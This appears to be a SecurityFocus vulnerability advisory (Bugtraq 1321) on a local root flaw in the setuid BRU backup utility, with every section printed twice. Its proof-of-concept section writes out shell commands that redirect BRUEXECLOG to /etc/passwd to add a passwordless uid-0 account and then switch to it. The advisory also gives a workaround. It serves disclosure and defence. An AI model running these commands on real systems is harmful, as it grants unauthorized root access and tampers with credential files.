BRU BRUEXECLOG Environment Variable Vulnerability
BID:1321
Info
BRU BRUEXECLOG Environment Variable Vulnerability
| Bugtraq ID: | 1321 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jun 05 2000 12:00AM |
| Updated: | Jun 05 2000 12:00AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list on June 5, 2000 by Riley Hassell <[email protected]> |
| Vulnerable: |
Enhanced Software Technologies BRU 16.0 Enhanced Software Technologies BRU 15.1 |
| Not Vulnerable: | |
Discussion
BRU BRUEXECLOG Environment Variable Vulnerability
A vulnerability exists in BRU, the Backup and Restore Utility, from Enhanced Software Technologies. By setting the value of the BRUEXECLOG environment variable, it is possible to an attack to alter and create files on the filesystem. As BRU is installed setuid, these files are owned by root. This vulnerability can be easily used by local users to obtain root privileges.
A vulnerability exists in BRU, the Backup and Restore Utility, from Enhanced Software Technologies. By setting the value of the BRUEXECLOG environment variable, it is possible to an attack to alter and create files on the filesystem. As BRU is installed setuid, these files are owned by root. This vulnerability can be easily used by local users to obtain root privileges.
Exploit / POC
BRU BRUEXECLOG Environment Variable Vulnerability
$ BRUEXECLOG=/etc/passwd
$ export BRUEXECLOG
$ bru -V '
> comsec::0:0::/:/bin/sh
> '
$ su comsec
#
$ BRUEXECLOG=/etc/passwd
$ export BRUEXECLOG
$ bru -V '
> comsec::0:0::/:/bin/sh
> '
$ su comsec
#
Solution / Fix
BRU BRUEXECLOG Environment Variable Vulnerability
Solution:
Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Removal of the setuid bit from the bru binary will cause it to complain about needing to be setuid root, when run by normal users. So long as the bru utility is only run as root, its operation will be unaffected.
Solution:
Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Removal of the setuid bit from the bru binary will cause it to complain about needing to be setuid root, when run by normal users. So long as the bru utility is only run as root, its operation will be unaffected.